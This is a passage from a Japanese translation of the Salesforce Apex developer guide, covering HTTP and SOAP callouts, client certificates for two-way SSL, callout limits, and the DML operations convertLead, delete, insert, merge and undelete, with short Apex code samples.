デバッグヘッダーを使用して要求の XML を返しSOAP メッセージに応答して問題の検出を行います詳細は「Apex の Web サービス API コールと SOAP ヘッダー」 (ページ 406)を参照してください

HTTP コールアウトの呼び出し

Apex ではHTTP サービスを使用しGETPOSTPUTおよび DELETE のような HTTP 要求を作成する組み込みクラスをいくつか提供します

これらの HTTP クラスを使用してREST ベースのサービスに統合できますWSDL からApexスクリプトを生成する別のオプションとしてSOAP ベースの Web サービスに登場することもできますWSDL で開始する代わりに HTTP クラスを使用して要求および応答の SOAP メッセージの構造をより高度に処理します

詳細およびサンプルは「HTTP (RESTful) サービスクラス」 (ページ349)を参照してくださいまたForcecomToolkit for Google Data APIs を HTTP コールアウトの使用を拡張します

証明書の使用

コールアウトによって Salesforcecomで生成されたまたは認証機関 (CA) が署名した証明書を送信して双方向の SSL 認証を使用できますコールアウトの対象が証明書を受け取るとセキュリティが拡張され証明書を使用して要求をキーストアに対して認証できます

コールアウトの双方向 SSL 認証を有効にする手順は次のとおりです

1 証明書を生成します2 証明書をコードと統合します「SOAP サービスでの証明書の使用」および「HTTP 要求での証明書の使用」

を参照してください3 サードパーティに接続し自己署名の証明書を使用している場合Salesforcecom 証明書を共有し証明書を

キーストアに追加できるようにします組織内で使用される別のアプリケーションに接続している場合クライアント証明書を要求するようWeb またはアプリケーションサーバーを設定しますこのプロセスは使用する Web サーバーまたはアプリケーション サーバーの種類によって異なりますJava の Tomcat を使用して両方向 SSL を設定する方法についてその例がhttpwwwvorburgerchblog1200608setting-up-two-way-mutual-ssl-withhtml のブログに投稿されています

4 コールアウトのリモートサイト設定を設定しますApexコールアウトが外部サイトを呼び出す前にそのサイトを [リモートサイトの設定] ページで登録する必要があります登録しない場合コールアウトが失敗します

Apex を使用したコールアウトの呼び出し Version 180 | HTTP コールアウトの呼び出し | 181

証明書の生成Salesforcecom で生成された自己署名証明書または認証機関 (CA) で署名された証明書を使用できますコールアウトの証明書を生成する手順は次のとおりです

1 外部 Web サイトが自己署名の証明書を承認するかどうかまたは CA の署名が必要かどうかに基づいて作成する証明書の種類を決定します証明書を作成した後に証明書の種類を変更することはできません

2 [設定] [セキュリティコントロール] [証明書およびキーの管理] をクリックし[自己署名証明書の作成]または [CA 署名の証明書を作成] をクリックします証明書の種類を選択します後で変更することはできません

3 Salesforcecom 証明書の説明ラベルを入力しますこの名前は証明書を参照する場合主に管理者によって使用されます

4 一意名を入力します入力した証明書ラベルに従って名前が自動的に入力されますこの名前はアンダースコアと英数字のみを含み組織内で一意の名前にする必要があります最初は文字であることスペースは使用しない最後にアンダースコアを使用しない2 つ続けてアンダースコアを使用しないという制約がありますForcecom Web サービス API または Apex を使用して証明書を参照する場合一意名を使用します

5 生成した証明書およびキーのキーサイズを選択します1024を選択すると1024 ビットのキーを使用する証明書を生成し1 年間有効です2048を選択すると2048 ビットのキーを使用する証明書を生成し2 年間有効ですセキュリティ上の理由により2048を指定することをお勧めします

メモ Salesforcecom 証明書を保存するとキーサイズは変更できません

6 CA 署名証明書を作成している場合次の情報も入力する必要がありますこれらの項目を結合して一意の証明書を生成します

説明項目

署名付き証明書を要求する会社の完全修飾名形式は通常httpwwwmycompanycomとなります

Common Name

証明書に関連する電子メールアドレスEmail Address

会社の法律上の名前Company

マーケティング会計など証明書を使用する会社の部署

Department

会社がある都市City

会社がある州State

会社がある国を示す 2 文字のコードアメリカ合衆国の場合値は USです

Country Code

7 [保存] をクリックします

正常に Salesforcecom 証明書を保存した後証明書および対応するキーが自動的に生成されます

CA 署名証明書を作成した後使用する前に署名付き証明書をアップロードする必要がありますSalesforcecomオンラインヘルプの「CA 署名証明書のアップロード」を参照してください

Apex を使用したコールアウトの呼び出し Version 180 | 証明書の生成 | 182

SOAP サービスでの証明書の使用Salesforcecomで証明書を生成した後SOAP Web サービスへのコールアウトの双方向認証をサポートできます

証明書を Apex を統合する手順は次のとおりです

1 他社から Web サービスから WSDL を受け取るか接続するアプリケーションから生成します2 Web サービスの WSDL から Apex クラスを生成します「SOAP サービス WSDL ドキュメントからのクラ

スの定義 (ページ 174)」を参照してください3 生成された Apex クラスにはWSDL ドキュメントで示されていた他社の Web サービスを呼び出すスタブが

含まれていますApexクラスを編集し値をスタブクラスのインスタンスのclientCertName_x変数に割り当てます値は [設定] [セキュリティコントロール] [証明書とキーの管理] を使用して生成した証明書の一意名と一致する必要があります

次の例では前の手順の最後のステップを説明し「生成されるコードについて」 (ページ178)のサンプルWSDLファイルを使用していますこの例ではDocSampleCertの一意名で証明書を生成したと想定します

docSampleDocSamplePort stub = new docSampleDocSamplePort() stubclientCertName_x =DocSampleCert String input = これは入力文字列です String output = stubEchoString(input)

組織のサードパーティから取得した証明書を使用する従来のプロセスがありますbase64 でクライアント証明書のキーをエンコードしstub のclientCert_x変数に割り当てますプライベートキーを保護するセキュリティのベストプラクティスに従っていないためSalesforcecom 証明書を使用するより安全性が低くなりますSalesforcecom 証明書を使用する場合プライベートキーは Salesforcecom の外部に保存されません

メモ [設定] [開発] [API] [クライアント証明書の生成]で生成したクライアント証明書は使用しないでください従来のプロセスを使用する場合組織のサードパーティから取得された証明書を使用する必要があります

次の例では従来のプロセスを説明し「生成されるコードについて」 (ページ178)のサンプルWSDL ファイルを使用しています

docSampleDocSamplePort stub = new docSampleDocSamplePort() stubclientCert_x =MIIGlgIBAzCCBlAGCSqGSIb3DQEHAaCCBkEEggY9MIIGOTCCAe4GCSqGSIb3DQEHAaCCAd8EggHb+MIIB1zCCAdMGCyqGSIb3DQEMCgECoIIBgjCCAX4wKAYKKoZIhvcNAQwBAzAaBBSaUMlXnxjzpfdu+6YFwZgJFMklDWFyvCnQeuZpN2E+Rb4rf9MkJ6FsmPDA9MCEwCQYFKw4DAhoFAAQU4ZKBfaXcN45w+9hYm215CcA4n4d0EFJL8jr68wwKwFsVckbjyBzzYHO6AgIEAA==

キーストアのパスワード stubclientCertPasswd_x = passwd

String input = This is the input string String output = stubEchoString(input)

HTTP 要求での証明書の使用Salesforcecom で証明書を生成した後HTTP 要求へのコールアウトの双方向認証をサポートできます

証明書を Apex を統合する手順は次のとおりです

1 証明書を生成します証明書の一意名を入力します2 Apex でHttpRequestクラスの setClientCertificateNameメソッドを使用しますこのメソッドの引数

に使用される値は前のステップで生成された証明書の一意名に一致しなければなりません

Apex を使用したコールアウトの呼び出し Version 180 | SOAP サービスでの証明書の使用 | 183

次の例は前述の手順の最後のステップを示しますこの例ではDocSampleCertの一意名で証明書を生成したと想定します

HttpRequest req = new HttpRequest() reqsetClientCertificateName(DocSampleCert)

コールアウトの制限

Apex スクリプトでHTTP 要求または Web サービスコールに対するコールアウトを実行する場合に次の制限が適用されますWeb サービスは Forcecom Web サービス API コールの場合または外部 Web サービスコールの場合があります

bull 1 つの Apex トランザクションでHTTP 要求または API コールに対するコールアウトを最大 10 回実行できます

bull HTTP サービスまたは Web サービスのコールアウトの要求または応答の最大サイズは 1 MB ですbull デフォルトのタイムアウトが 10 秒であることカスタムタイムアウトはコールアウトごとに定義できます

最小値は 1 ミリ秒最大値は 60 秒ですWeb サービスまたは HTTP コールアウトのカスタムタイムアウトの設定方法については次の例を参照してください

bull 1 つの Apex トランザクションによる各コールアウトのタイムアウトの累積値は最大 120 秒です累積値とは特定のApexトランザクションによって呼び出されたすべてのコールアウトのタイムアウトを合計した値です

次にWeb サービスコールアウトのカスタムタイムアウトの設定についての例を示します

docSampleDocSamplePort stub = new docSampleDocSamplePort() stubtimeout_x = 2000 タイムアウト (ミリ秒)

次にHTTP コールアウトのカスタムタイムアウトの設定についての例を示します

HttpRequest req = new HttpRequest() reqsetTimeout(2000) タイムアウト (ミリ秒)

Apex を使用したコールアウトの呼び出し Version 180 | コールアウトの制限 | 184

第 12 章

参照

Apex リファレンスにはApex 言語についての情報が含まれていますトピック

bull データ操作言語 (DML) の操作 データベース内のデータの操作に使用されます

bull Apex のデータ操作言語 (DML) 操作

bull 標準クラスおよびメソッドプリミティブデータ型コレクションsObjectsApex のほかの部分に使用できます

bull Apex 標準クラスおよび標準メソッド

bull Apex クラス 使用可能な組み込みクラスbull Apex クラス

Apex のデータ操作言語 (DML) 操作

データベース内のデータを取得挿入削除更新するためにデータ操作言語 (DML)操作を使います

以下の2つの異なる形式を使ってDML操作を実行可能です

bull Apex DMLステートメントは例えば以下のものです

insert SObject[]

bull Apex DMLデータベースメソッドは例えば以下のものです

DatabaseSaveResult[] result = DatabaseInsert(SObject[])

ほとんどのDML操作がどちらの方式でも利用可能な一方でいくつかはどちらか片方にしか存在しません

異なるDML操作形式は異なるタイプの例外処理を可能にします

bull try catchブロックを使うことによって 大量のDML処理中に発生するエラーをコントロールフローを即時に遮るApex例外として出したい場合DMLを使ってくださいこの機能はほとんどのデータベースの手続き型言語における例外の処理方法に似ています

bull 大量のDML操作の部分的成功を可能にしたいならばデータベースメソッドを使ってください記録が失敗した場合もDML操作の残りは成功可能ですアプリケーションは次に記録を拒否し操作を再試行しますこの方式を使っている場合DML例外エラーを決して出さないコードを書くことができます代わりにコードは成功と失敗を判断する適切な結果列を使用可能ですDMLデータベースメソッドはDMLステートメントのように出された例外構文を含むことも可能です

以下のApex DML操作が利用可能です

bull convertLead1

bull delete

bull insert

bull merge2

bull undelete

bull update

bull upsert

システムコンテキストと共有ルール

ほとんどのDML操作はシステムコンテキストにて実行され現在のユーザのプロファイル許可フィールドレベルセキュリティ組織全体のデフォルト役割階層のポジションおよび共有ルールを無視しますしかしながらDML操作がwith sharingキーワードによって定義されたクラス内で呼び出された場合現在のユーザの共有ルールが考慮されます詳細はwith sharingまたはwithout sharingキーワードを使う (ページ 105)を参照してください

1convertLeadだけがデータベースメソッドとして利用可能です

2mergeだけがApex DMLステートメントとして利用可能です

参照 Version 180 | Apex のデータ操作言語 (DML) 操作 | 186

文字列項目の切り捨てと API バージョン

項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル) した Apex クラスにはランタイムエラーが発生します

ConvertLead 操作convertLead DML操作は 任意に 商談と同様にリードを取引先と取引先担当者に変換します

メモ convertLeadconvertLeadだけがデータベースメソッドとして利用可能です

データベースメソッド構文

bull LeadConvertResult DatabaseconvertLead(LeadConvert leadToConvert Boolean opt_allOrNone)bull LeadConvertResult[] DatabaseconvertLead(LeadConvert[] leadsToConvert Boolean opt_allOrNone)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

ルールとガイドライン

リードを変換する際は次のルールやガイドラインを考慮する必要があります

bull 項目マッピングシステムは標準リード項目を標準取引先取引先担当者商談項目に自動的に対応付けますカスタムリードのフィールドに関してはSalesforcecomの管理者がカスタムアカウントコンタクト商談フィールドのマッピング方法を指定することができます項目マッピングの詳細はSalesforcecom オンラインヘルプを参照してください

bull 差し込み項目 データが既存のアカウントとコンタクトオブジェクトにマージされた場合ターゲットオブジェクト内の空白のフィールドは上書きされます既存データ IDを含む は上書きされません唯一の例外はターゲットコンタクトオブジェクト内のLeadSourceフィールドがソースLeadConvertオブジェクト内のLeadSourceフィールドの内容によって上書きされる場合においてLeadConvertオブジェクトのsetOverwriteLeadSourceにTrueを指定した場合です

bull レコードタイプ組織でレコードタイプを使用している場合新しい所有者のデフォルトのレコードタイプはリード変換時に作成されたレコードに割り当てられますリードを変換するユーザのデフォルトのレコードタイプによって変換時に使用できるリードのソース値が決まります必要なリードのソース値が使用できない場合リードを変換するユーザのデフォルトのレコードタイプに値を追加しますレコードタイプの詳細はSalesforcecom オンラインヘルプを参照してください

bull 選択リスト値システムは空の標準リード選択リスト項目を対応付けるときに取引先取引先担当者商談のデフォルトの選択リストを割り当てます組織でレコードタイプを使用している場合空の値は新しいレコード所有者のデフォルトの選択リストの値で置き換えられます

bull 自動フィード登録リードを取引先取引先担当者および (オプションで) 商談に変換すると生成されたレコードの所有者が自動的に登録されリード所有者はリードレコードから登録解除されますリードに登録されたユーザは生成されたレコードに登録されリードからは登録解除されますリードに登録されたリード所有者およびその他のユーザは新規フィードで取引先取引先担当者商談のレコードの変更を確認できます[設定] [個人情報] [個人情報] の [フィードの自動登録を無効化]項目がオフであれば登録できますレコードへの変更をユーザのホームページのニュースフィードに表示できるようレコードに登録できます登録するとSalesforcecom のレコードの最新状況を確認するのに役立ちます

参照 Version 180 | ConvertLead 操作 | 187

リードの変換の基本ステップ

リードの変換は次の基本ステップに従います

1 アプリケーションがコンバートされるリードのIDを決定します2 状況に応じてアプリケーションはリードがマージされるアカウントのIDを決定しますアプリケーショ

ンはリード名にマッチするアカウントを探すためにSOQLを以下の例のように使用することができます

select id name from account where name=CompanyNameOfLeadBeingMerged

3 状況に応じてアプリケーションはそのコンタクトまたはリードがマージされるアカウントのIDを決定しますアプリケーションはリード名にマッチするコンタクトを探すためにSOQLを以下の例のように使用することができます

select id name from contact where firstName=FirstName and lastName=LastName andaccountId = 001

4 状況に応じてアプリケーションは商談がリードから作成されるかどうかを決定可能です5 すべての可能なコンバートされた状況オプションを取得するためにアプリケーションはLeadSourceテーブル

に問い合わせます(SELECT FROM LeadStatus WHERE IsConverted=1)それからコンバートされた状況の値を選択します

6 アプリケーションはconvertLeadを呼び出します7 アプリケーションは返された結果を通して繰り返され各リードにどのコンバージョンが成功したか決定

するためにに各LeadConvertResultオブジェクトを検査します8 オプションでキューが所有するリードを変換する場合は所有者を指定する必要がありますこれはキュー

が取引先と取引先担当者を所有することができないからです既存の取引先または取引先担当者を指定する場合も所有者を指定する必要があります

LeadConvertオブジェクトメソッド

convertLeadデータベースメソッドは最高で100のLeadConvertオブジェクトをを受け付けますLeadConvertオブジェクトは以下のメソッドをサポートします

説明戻り値の型引数名前

リードのマージ先アカウントのIDを設定しますIDgetAccountId

リードのマージ先取引先担当者のIDを設定しますIDgetContactId

コンバートされたリードのリードステータス値を取得します

StringgetConvertedStatus

変換するリードのIDを取得しますIDgetLeadID

作成する商談名を取得しますStringgetOpportunityName

新しく作成する取引先取引先担当者商談の所有者となるユーザの ID を取得します

IDgetOwnerID

リード変換時に商談を作成するかどうかを指定 (デフォルトの falseで商談を作成しtrueでは作成しない)します

BooleanisDoNotCreateOpportunity

参照 Version 180 | ConvertLead 操作 | 188

説明戻り値の型引数名前

ターゲットの取引先担当者オブジェクトの LeadSource

項目にソースのリードオブジェクトのLeadSource項BooleanisOverWriteLeadSource

目の値を上書きするかどうかを指定します (上書きする場合は true上書きしない場合は falseでデフォルトでは上書きしません)

setOwnerIdで指定された所有者に電子メールの通知を送るかどうかを指定 (送る場合はtrue送らない場合はfalseでデフォルトでは送らない) します

BooleanisSendNotificationEmail

リードのマージ先アカウントのIDを設定します既存アカウント 個人取引先を含む が更新される時のみこの値

VoidID IDsetAccountId

は要求されます該当しない場合はsetAccountIDが指定された場合新しいアカウントが作成されます

リードのマージ先コンタクトのIDを設定します このコンタクトはsetAccountIdで指定されたアカウントに

VoidID IDsetContactId

関連づれられている必要がありますsetAccountIdは指定される必要があります 既存コンタクトを更新する場合のみこの値が必要です

重要 リードをパーソナルアカウントにコンバートする場合setContactIdを指定しないでください指定するとエラーが発生します個人取引先のsetAccountIdのみ指定してください

setContactIDが指定された場合アプリケーションはアカウントに暗黙的に関連付けられた新しいコンタクトを作成しますコンタクト名とその他の既存データは上書きされません LeadSourceフィールドのみが上書きされる設定であるsetOverwriteLeadSourceがTrueに設定されていない限り

コンバートされたリードのリードステータス値を設定しますこのフィールドは必要です

VoidString StatussetConvertedStatus

リードコンバージョン中に商談を作成するかどうか指定しますデフォルト値はfalseですデフォルトで商談

VoidBooleanCreateOpportunity

setDoNotCreateOpportunity

は作成されますリードの商談を作成したくない場合のみこのフラグを trueに設定します

コンバートするリードのIDを設定してくださいこのフィールドは必要です

VoidID IDsetLeadId

作成する商談名を設定してください名前が指定されない場合この値の規定値はリードの会社名になりま

VoidString OppNamesetOpportunityName

すこの項目の文字数は 80 文字までですsetDoNotCreateOpportunityがTrueの場合商談は作成されずこのフィールドは空白のまま残されますそうでない場合はエラーが返されます

参照 Version 180 | ConvertLead 操作 | 189

説明戻り値の型引数名前

ターゲットコンタクトオブジェクト上のLeadSource

フィールドをソースリードオブジェクト内のLeadSource

VoidBooleanOverwriteLeadSource

setOverwriteLeadSource

フィールドの内容で上書きするかどうかを指定する規定値はFalseでそのフィールドを上書きしませんTrueとして指定した場合はターゲットコンタクト用のsetContactIdも指定する必要があります

新しく作成する取引先取引先担当者商談の所有者となるユーザの ID を指定アプリケーションがこの値を

VoidID IDsetOwnerId

指定しない場合は新規オブジェクトのオーナーはリードのオーナーになりますこのメソッドは既存オブジェクトをマージするのには適用不可ですsetOwnerIdが指定された場合ownerIdフィールドは既存アカウントまたはコンタクト内で上書きされません

setOwnerIdによって指定されたオーナーに通知電子メールを送信するか指定します規定値はFalseで送信しません

VoidBooleanSendEmail

setSendNotificationEmail

LeadConvertResultオブジェクト

LeadConvertResultオブジェクトの列はconvertLeadデータベースメソッドで返されますSObject列に関連したLeadConvertResult列内の各エレメントはconvertLeadデータベースメソッド内の SObject[]パラメータとして通過しますつまりLeadConvertResult列内の最初のエレメントはSObject列内の最初のエレメントにマッチしますまた二番目のエレメントは2 番目のエレメントに対応し3 番目以降も同じです1つしかsObjectが渡されない場合LeadConvertResults 列は1つのエレメントしか含みません

LeadConvertResultオブジェクトは以下のメソッドを持っています

説明型名前

新規アカウントのID(新規アカウントが指定されている場合)またはconvertLeadが呼び出された時に指定されたアカウントのID

IDgetAccountId

新規コンタクトのID(新規コンタクトが指定されている場合)またはconvertLeadが呼び出された時に指定されたコンタクトのID

IDgetContactId

エラーが発生した場合エラーコードと説明を提供している1つ以上のデータベースエラーオブジェクト詳細

DatabaseError[]DatabaseError []

getErrors

は「データベースエラーオブジェクトメソッド」(ページ 277)を参照してください

コンバートされたリードのIDIDgetLeadId

新規商談のIDconvertLead呼び起こされた際に作成された場合

IDgetOpportunityId

参照 Version 180 | ConvertLead 操作 | 190

説明型名前

DML操作がこのオブジェクトに対して成功した場合TrueのBoolean値となるそうでない場合Falseとなる

BooleanisSuccess

データベースメソッド例

Lead myLead = new Lead(lastname = Fry company=Fry And Sons) insert myLead

DatabaseLeadConvert lc = new databaseLeadConvert() lcsetLeadId(myLeadid)

LeadStatus convertStatus = [Select Id MasterLabel from LeadStatus where IsConverted=truelimit 1] lcsetConvertedStatus(convertStatusMasterLabel)

DatabaseLeadConvertResult lcr = DatabaseconvertLead(lc) Systemassert(lcrisSuccess())

Delete 操作delete DML 操作は1つ以上の既存の sObject レコード個別アカウントまたはコンタクトなどをあなたの組織のデータベースから削除します deleteはForcecom Web サービス API 内の delete()ステートメントに似ています

DMLステートメント構文delete sObject | RecordID

データベースメソッド構文

bull DeleteResult DatabaseDelete((sObject recordToDelete | RecordID ID) Boolean opt_allOrNone)bull DeleteResult[]DatabaseDelete((sObject[] recordsToDelete | RecordIDs LISTIDs) Boolean opt_allOrNone)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

ルールとガイドライン

sObjectレコードを削除する際は以下のルールとガイドラインを考慮してください

bull 参照の完全性を確実にするためにdeleteはカスケーディング削除をサポートします親オブジェクトを削除した場合各子レコードが削除可能な場合自動的に子オブジェクトも削除されます

例えばケースレコードを削除した場合Apexは自動的にそのケースに関連したCaseCommentCaseHistoryおよびCaseSolutionレコードを削除しますしかしながら特定の子レコードは削除不可能か現在使用中の場合親ケースレコード上のdelete操作は失敗します

bull 特定のsObjectsは削除不可能ですあるsObjectレコードを削除するにはsObjectのdeletableプロパティをTrueに設定しておく必要がありますsObjects That Do Not Support DML Operations (ページ 204)も参照してください

bull 最大1000のsObjectレコードを単一のdeleteメソッドに渡すことができます

参照 Version 180 | Delete 操作 | 191

DeleteResult オブジェクト

DatabaseDeleteResult オブジェクトの配列はdeleteデータベースメソッドで返されますSObject 列に関連した DeleteResult 列内の各エレメントはdeleteデータベースメソッドの sObject[]パラメータの列と一致しますつまりDeleteResult 列内の最初のエレメントはsObject 列内の最初のエレメントにマッチしますまた 2番目のエレメントは2 番目のエレメントに対応し 3 番目以降も同じです1つしかsObjectが渡されない場合DeleteResults列は1つのエレメントしか含みません

DatabaseDeleteResult オブジェクトには次のメソッドがあります

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上のデータベースエラーオブジェクト詳細は

DatabaseError[]getErrors

「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

削除しようとしているsObjectのIDこのフィールドがある値を含む場合オブジェクトの削除は成功しています

IDgetId

このフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

DML操作がこのオブジェクトに対して成功した場合TrueのBoolean値となるそうでない場合Falseとなる

BooleanisSuccess

DMLステートメント例

以下の例は「DotCom」と名づけられたアカウントの消去を示しています

Account[] doomedAccts = [select id name from account where name = DotCom] try deletedoomedAccts catch (DmlException e) Process exception here

メモ 処理DmlExceptionに関する詳細はBulk DML Exception Handling (ページ 205)を参照してください

データベースメソッド例

以下の例は「DotCom」と名づけられたアカウントの消去を示しています

public class DmlTest Account[] doomedAccts = [select id name from account where name =DotCom] DatabaseDeleteResult[] DR_Dels = Databasedelete(doomedAccts)

Insert 操作insert DML 操作は個別アカウントまたはコンタクトなどの1つ以上のsObjectをあなたの組織のデータに追加しますinsertはSQL の INSERT ステートメントを似ています

DMLステートメント構文insert sObject

参照 Version 180 | Insert 操作 | 192

insert sObject[]

データベースメソッド構文

bull SaveResult Databaseinsert(sObject recordToInsert Boolean opt_allOrNone | databaseDMLOptionsopt_DMLOptions)

bull SaveResult[] Databaseinsert(sObject[] recordsToInsert Boolean opt_allOrNone | databaseDMLOptionsopt_DMLOptions)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

DatabaseSaveResult[] MySaveResult = DatabaseInsert(MyAccounts false)

オプションのopt_DMLOptionsパラメータは割り当てルール情報または切り捨ての動作などトランザクションの追加データを指定します

AssignmentRuleHeader UseDefaultRule databaseDMLOptions dmo = new databaseDMLOptions()dmoAssignmentRuleHeaderUseDefaultRule= true

Lead l = new Lead(company=ABC lastname=Smith) lsetOptions(dmo)

insert l

詳細はデータベース DMLOptions メソッド (ページ 273)を参照してください

ルールとガイドライン

sObjectレコードを挿入する際は以下のルールとガイドラインを考慮してください

bull 特定のsObjectsは挿入不可能ですあるsObjectレコードを作成するにはsObjectのcreateableプロパティをTrueに設定しておく必要があります

bull すべての必要フィールドにnullではない値を入力する必要がありますbull 最大1000のsObjectレコードを単一のinsertメソッドに渡すことができますbull insertステートメントはすべての新規sObjectレコードのID値を自動的に設定しますすでにIDを持ってい

る すなわちすでに組織のデータ内に存在している レコードの挿入はエラーを発生させます詳細については「リスト (ページ 34)」 を参照してください

bull insertステートメントのみが関連sObjectレコードの外部キーIDを設定可能です関連レコードのフィールドはinsertでは更新できません例えば新規コンタクトを挿入した場合AccountIdフィールドの値を設定することによってコンタクトの関連アカウントレコードを指定可能ですしかしながらアカウント自体を更新せずに別のDMLコールを使ってアカウント名を変更することはできません

bull insertステートメントはいつくかのsObjectではサポートされませんDML操作をサポートしないsObject(ページ 204)を参照してください

bull この操作は重複ID値に関してレコードの各かたまりをチェックします重複がある場合は最初の 5 つが処理されます6番目とすべての追加重複IDについてはそのエントリ用のSaveResultが以下に類似したエラーによってマークされますMaximum number of duplicate updates in one batch (5allowed)Attempt to update Id more than once in this API call number_of_attempts

参照 Version 180 | Insert 操作 | 193

SaveResultオブジェクト

SaveResultオブジェクトの列はinsertとupdateのデータベースメソッドで返されますSObject列に関連したSaveResult列内の各エレメントはデータベースメソッド内のsObject[]パラメータの列と一致しますすなわちSaveResult列内の最初のエレメントはsObject列内の最初のエレメントにマッチしますまた二番目のエレメントは二番目のエレメントに対応し三番目以降も同じです1つしかsObjectが渡されない場合 SaveResults列は1つのエレメントしか含みません

SaveResultオブジェクトは以下のメソッドを持っています

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上の

DatabaseError[]getErrors

データベースエラーオブジェクト詳細は「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

挿入または更新しようとしているsObjectのIDこのフィールドがある値

IDgetId

を含む場合オブジェクトの挿入または更新は成功していますこのフィールドが空白の場合はその操作はそのオブジェクトに対して成功していません

DML操作がこのオブジェクトに対して成功した場合Trueに設定されたBooleanそうでない場合False

BooleanisSuccess

DMLステートメント例

以下の例は「Acme」と名づけられたアカウントの挿入を示しています

Account newAcct = new Account(name = Acme) try insert newAcct catch (DmlExceptione) Process exception here

メモ 処理DmlExceptionに関する詳細はBulk DML Exception Handling (ページ 205)を参照してください

データベースメソッド例

以下の例は「Acme」と名づけられたアカウントの挿入を示しています

Account a = new Account(name = Acme) DatabaseSaveResult[] lsr = Databaseinsert(newAccount[]a new Account(name = Acme) false)

Iterate through the Save Results for(DatabaseSaveResult srlsr) if(srisSuccess())DatabaseError err = srgetErrors()[0]

参照 Version 180 | Insert 操作 | 194

Merge ステートメントmergeステートメントは同じsObjectタイプの最大3つのレコードをレコードの1つにマージしその他を削除し関連レコードを再ペアレント化します

メモ このDML操作はマッチングデータベースシステムメソッドを持っていません

構文merge sObject sObject

merge sObject sObject[]

merge sObject ID

merge sObject ID[]

最初のパラメータは他のレコードのマージ先のマスターレコードを表します二番目のパラメータはマージされてから削除される1つまたは2つの他のレコードを表しますこれらの他のレコードを単一のsObjectレコードまたはIDとしてもしくは2つのsObjectレコードまたはIDとしてmergeステートメントにパスすることができます

ルールとガイドライン

sObjectレコードをマージする際は以下のルールとガイドラインを考慮してください

bull リード コンタクトおよびアカウントだけがマージ可能ですDML操作をサポートしないsObject (ページ204)を参照してください

bull マスターレコードと最大2つのsObjectを1つのmergeメソッドにパスすることができます

リード取引先取引先担当者の結合の詳細はSalesforcecom オンラインヘルプを参照してください

以下の例は2つの「Acme Inc」と「Acme」と名づけられたアカウントを1つのレコードにマージします

ListltAccountgt ls = new ListltAccountgtnew Account(name=Acme Inc)new Account(name=Acme)insert ls Account masterAcct = [select id name from account where name = Acme Inclimit 1] Account mergeAcct = [select id name from account where name = Acme limit 1]try merge masterAcct mergeAcct catch (DmlException e) Process exception here

メモ DmlExceptionの処理に関する詳細は「大量DML例外処理 (ページ 205)」を参照してください

Undelete 操作undeleteDML操作は個別アカウントまたはコンタクトなどの1つ以上のsObjectをあなたの組織のごみ箱から復元させますundeleteはSQLのUNDELETEステートメントを似ています

DMLステートメント構文undelete sObject | RecordID

参照 Version 180 | Merge ステートメント | 195

undelete sObject[] | LISTID[]

データベースメソッド構文

bull UndeleteResult DatabaseUndelete((sObject recordToUndelete | RecordID ID) Boolean opt_allOrNone)bull UndeleteResult[] DatabaseUndelete((sObject[] recordsToUndelete | RecordIDs LISTIDs) Boolean

opt_allOrNone)

オプションの opt_allOrNoneパラメータは一部のみの成功を許可するかどうかを指定しますこのパラメータを偽に設定した場合レコードが失敗しても残りの DML 操作を成功させることができますこのメソッドは成功したレコード失敗したレコードおよびその理由の確認に使用できる結果オブジェクトを返します

ルールとガイドライン

sObjectレコードを復元する際は以下のルールとガイドラインを考慮してください

bull 参照の完全性を確実にするためにundeleteは以下のタイプの関連性に関するレコード関連付けを復元させます

- 親取引先 (取引先の [親取引先]項目で指定)- 親ケース (ケースの [親ケース]項目で指定)- 翻訳ソリューションのマスタソリューション (ソリューションの [マスタソリューション]項目で指定)- 取引先責任者のマネージャ (取引先責任者の [上司]項目で指定)- 納入商品に関連付けられている商品 (納入商品の [商品]項目で指定)- 見積に関連付けられている商談 (見積の [商談]項目で指定)- すべてのカスタム参照関係- 取引先およびリレーショングループのリレーショングループメンバー (一部例外あり)- タグ- 記事のカテゴリ公開の状況および割り当てSalesforcecomオンラインヘルプの「記事の管理」を参照

してください

メモ Salesforcecom は置換されていない参照関係のみを復元しますたとえば納入商品が元の商品レコードが元に戻される前に別の商品と関連付けられている場合その納入商品と商品のリレーションは復元されません

bull 特定のsObjectsは復元不可能ですあるsObjectが復元不可能かどうか確認するためにはsObjectのundeletable

プロパティがTrueに設定されているか確認してくださいbull 最大1000のsObjectレコードを単一のundeleteメソッドに渡すことができますbull 結合の結果として削除されたレコードを復元できますが子オブジェクトは再ペアレント化されやり直す

ことはできませんbull マージの結果削除されたレコード含むレコードを削除するにはSOQL問い合わせundeleteを使ってくださ

いステートメントですべてのレコードを問い合わせる (ページ 60)を参照してくださいbull いくつかのsObjectでは復元はサポートされていませんDML操作をサポートしないsObject (ページ 204)を

参照してください

UndeleteResultオブジェクト

DatabaseUndeleteResult オブジェクトの配列はundeleteデータベースメソッドで返されますSObject 列に関連した UndeleteResult 列内の各エレメントはundeleteデータベースメソッドの sObject[]パラメータの列と

参照 Version 180 | Undelete 操作 | 196

一致しますつまりUndeleteResult 列内の最初のエレメントはsObject 列内の最初のエレメントにマッチしますまた 2 番目のエレメントは2 番目のエレメントに対応し3 番目以降も同じです1つしかsObjectがパスされない場合UndeleteResult列は1つのエレメントしか含みません

undeleteResultオブジェクトは以下のメソッドを持っています

説明型名前

エラーが発生した場合エラーコードと説明を提供している1つ以上の

DatabaseError[]getErrors

データベースエラーオブジェクト詳細は「データベースエラーオブジェクトメソッド」 (ページ277)を参照してください

復元しようとしているsObjectのIDこのフィールドがある値を含む場合

IDgetId

